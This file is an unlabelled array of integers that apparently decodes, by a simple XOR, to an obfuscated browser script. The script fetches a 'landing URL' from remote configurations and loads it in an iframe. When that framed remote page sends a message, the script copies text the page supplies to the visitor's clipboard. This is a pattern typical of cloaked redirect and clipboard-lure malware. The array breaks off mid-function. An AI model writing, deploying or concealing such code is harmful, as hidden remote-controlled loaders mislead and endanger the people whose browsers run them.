122,122,122,122,122,51,60,122,114,59,40,40,12,59,54,115,122,40,63,46,47,40,52,122,59,40,40,12,59,54,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,53,56,48,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,49,63,35,41,122,103,122,1,120,47,40,54,120,118,122,120,54,51,52,49,120,118,122,120,50,40,63,60,120,118,122,120,54,53,57,59,46,51,53,52,120,118,122,120,40,63,62,51,40,63,57,46,120,118,122,120,46,59,40,61,63,46,120,118,122,120,54,59,52,62,51,52,61,120,118,122,120,54,59,52,62,51,52,61,15,40,54,120,7,97,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,48,122,103,122,106,97,122,48,122,102,122,49,63,35,41,116,54,63,52,61,46,50,97,122,48,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,49,63,35,122,103,122,49,63,35,41,1,48,7,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,63,35,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,63,35,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,49,122,51,52,122,51,52,42,47,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,52,63,41,46,63,62,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,52,63,41,46,63,62,115,122,40,63,46,47,40,52,122,52,63,41,46,63,62,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,122,33,87,80,122,122,122,122,51,60,122,114,123,40,59,45,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,46,63,34,46,122,103,122,9,46,40,51,52,61,114,40,59,45,115,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,123,46,63,34,46,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,46,53,18,46,46,42,15,40,54,114,46,63,34,46,115,97,87,80,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,87,80,122,122,122,122,51,60,122,114,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,33,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,39,120,115,122,38,38,87,80,122,122,122,122,122,122,122,122,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,1,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,7,120,115,115,122,33,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,42,59,40,41,63,62,122,103,122,16,9,21,20,116,42,59,40,41,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,48,41,53,52,15,40,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,42,59,40,41,63,62,118,122,106,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,48,41,53,52,15,40,54,115,122,40,63,46,47,40,52,122,48,41,53,52,15,40,54,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,18,46,46,42,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,120,125,102,100,7,113,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,18,46,46,42,122,124,124,122,55,59,46,57,50,18,46,46,42,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,50,46,46,42,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,18,46,46,42,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,50,46,46,42,15,40,54,115,122,40,63,46,47,40,52,122,50,46,46,42,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,30,53,55,59,51,52,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,6,56,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,6,117,1,4,6,41,120,125,102,100,7,112,115,101,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,30,53,55,59,51,52,122,124,124,122,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,53,55,59,51,52,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,55,59,51,52,15,40,54,115,122,40,63,46,47,40,52,122,62,53,55,59,51,52,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,47,40,54,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,15,8,22,114,47,40,54,115,116,53,40,51,61,51,52,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,62,62,18,51,52,46,114,40,63,54,118,122,50,40,63,60,115,122,33,87,80,122,122,122,122,51,60,122,114,123,50,40,63,60,122,38,38,122,123,62,53,57,47,55,63,52,46,122,38,38,122,123,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,44,59,40,122,49,63,35,122,103,122,40,63,54,122,113,122,120,96,96,120,122,113,122,50,40,63,60,97,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,42,59,40,63,52,46,122,103,122,62,53,57,47,55,63,52,46,116,50,63,59,62,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,51,60,122,114,123,42,59,40,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,54,51,52,49,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,54,51,52,49,120,115,97,87,80,122,122,122,122,122,122,54,51,52,49,116,40,63,54,122,103,122,40,63,54,97,87,80,122,122,122,122,122,122,54,51,52,49,116,50,40,63,60,122,103,122,50,40,63,60,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,40,63,54,122,103,103,103,122,120,42,40,63,57,53,52,52,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,122,122,54,51,52,49,116,57,40,53,41,41,21,40,51,61,51,52,122,103,122,120,59,52,53,52,35,55,53,47,41,120,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,42,59,40,63,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,54,51,52,49,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,122,33,87,80,122,122,122,122,44,59,40,122,53,40,51,61,51,52,41,122,103,122,33,39,97,87,80,122,122,122,122,44,59,40,122,59,42,51,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,27,10,19,5,19,30,5,15,8,22,115,97,87,80,122,122,122,122,51,60,122,114,59,42,51,21,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,59,42,51,21,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,46,42,54,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,122,124,124,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,51,60,122,114,123,46,42,54,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,44,59,40,122,42,40,53,56,63,122,103,122,46,42,54,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,120,34,120,115,97,87,80,122,122,122,122,122,122,44,59,40,122,53,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,42,40,53,56,63,115,97,87,80,122,122,122,122,122,122,51,60,122,114,53,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,53,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,53,40,51,61,51,52,17,63,35,122,51,52,122,53,40,51,61,51,52,41,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,53,40,51,61,51,52,41,118,122,53,40,51,61,51,52,17,63,35,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,122,38,38,122,52,47,54,54,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,47,40,54,118,122,46,51,55,63,53,47,46,23,41,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,10,40,53,55,51,41,63,114,60,47,52,57,46,51,53,52,122,114,40,63,41,53,54,44,63,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,46,35,42,63,53,60,122,60,63,46,57,50,122,123,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,60,51,52,51,41,50,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,122,122,44,59,40,122,46,51,55,63,40,122,103,122,52,47,54,54,97,87,80,122,122,122,122,122,122,44,59,40,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,122,122,60,47,52,57,46,51,53,52,122,62,53,52,63,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,51,41,50,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,60,51,52,51,41,50,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,51,55,63,40,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,40,115,97,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,114,44,59,54,47,63,122,38,38,122,120,120,115,116,46,40,51,55,114,115,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,122,123,103,103,122,120,47,52,62,63,60,51,52,63,62,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,63,45,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,114,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,46,51,55,63,40,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,57,53,52,46,40,53,54,54,63,40,115,122,57,53,52,46,40,53,54,54,63,40,116,59,56,53,40,46,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,39,118,122,46,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,122,122,122,122,60,63,46,57,50,114,47,40,54,118,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,118,87,80,122,122,122,122,122,122,122,122,122,122,57,40,63,62,63,52,46,51,59,54,41,96,122,120,53,55,51,46,120,118,87,80,122,122,122,122,122,122,122,122,122,122,41,51,61,52,59,54,96,122,57,53,52,46,40,53,54,54,63,40,122,101,122,57,53,52,46,40,53,54,54,63,40,116,41,51,61,52,59,54,122,96,122,44,53,51,62,122,106,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,63,41,42,53,52,41,63,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,42,53,52,41,63,122,101,122,40,63,41,42,53,52,41,63,116,46,63,34,46,114,115,122,96,122,120,120,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,46,63,34,46,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,40,35,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,46,63,34,46,122,123,103,103,122,120,41,46,40,51,52,61,120,122,38,38,122,123,46,63,34,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,46,40,35,122,33,122,45,51,52,62,53,45,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,51,60,122,114,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,122,124,124,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,115,122,33,87,80,122,122,122,122,122,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,114,46,63,34,46,115,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,46,59,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,46,63,34,46,59,40,63,59,120,115,97,87,80,122,122,122,122,122,122,46,59,116,44,59,54,47,63,122,103,122,46,63,34,46,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,40,63,59,62,53,52,54,35,120,118,122,120,40,63,59,62,53,52,54,35,120,115,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,42,53,41,51,46,51,53,52,122,103,122,120,60,51,34,63,62,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,54,63,60,46,122,103,122,120,119,99,99,99,99,42,34,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,46,53,42,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,122,122,46,40,35,122,33,122,46,59,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,46,59,116,41,63,54,63,57,46,114,115,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,9,63,54,63,57,46,51,53,52,8,59,52,61,63,114,106,118,122,46,59,116,44,59,54,47,63,116,54,63,52,61,46,50,115,97,87,80,122,122,122,122,122,122,62,53,57,47,55,63,52,46,116,63,34,63,57,25,53,55,55,59,52,62,114,120,57,53,42,35,120,115,97,87,80,122,122,122,122,122,122,51,60,122,114,46,59,116,42,59,40,63,52,46,20,53,62,63,115,122,46,59,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,122,33,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,60,47,52,57,46,51,53,52,122,114,63,44,63,52,46,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,59,46,59,122,103,122,63,44,63,52,46,122,124,124,122,63,44,63,52,46,116,62,59,46,59,97,87,80,122,122,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,51,60,40,59,55,63,122,38,38,122,123,62,59,46,59,122,38,38,122,46,35,42,63,53,60,122,62,59,46,59,122,123,103,103,122,120,53,56,48,63,57,46,120,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,63,44,63,52,46,116,41,53,47,40,57,63,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,63,44,63,52,46,116,41,53,47,40,57,63,122,123,103,103,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,41,50,53,45,119,53,40,51,61,51,52,59,54,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,60,40,59,55,63,119,40,63,59,62,35,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,57,53,42,35,120,122,124,124,122,46,35,42,63,53,60,122,62,59,46,59,116,46,63,34,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,25,53,42,35,114,62,59,46,59,116,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,57,54,63,59,52,47,42,114,52,63,34,46,9,46,59,46,47,41,115,122,33,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,52,47,54,54,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,122,124,124,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,52,63,34,46,9,46,59,46,47,41,122,38,38,122,120,62,53,52,63,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,62,122,38,38,122,123,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,41,46,63,42,114,51,52,62,63,34,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,52,62,63,34,122,100,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,60,61,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,52,62,63,34,7,122,38,38,122,33,39,97,87,80,122,122,122,122,122,122,44,59,40,122,56,47,51,54,46,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,57,60,61,116,46,63,55,42,54,59,46,63,122,38,38,122,120,120,118,122,51,62,115,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,56,47,51,54,46,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,57,60,61,116,47,41,63,28,63,46,57,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,56,47,51,54,46,15,40,54,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,56,47,51,54,46,15,40,54,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,59,45,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,54,59,52,62,51,52,61,15,40,54,122,103,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,54,59,52,62,51,52,61,15,40,54,115,122,40,63,46,47,40,52,122,54,59,52,62,51,52,61,15,40,54,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,106,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,122,33,87,80,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,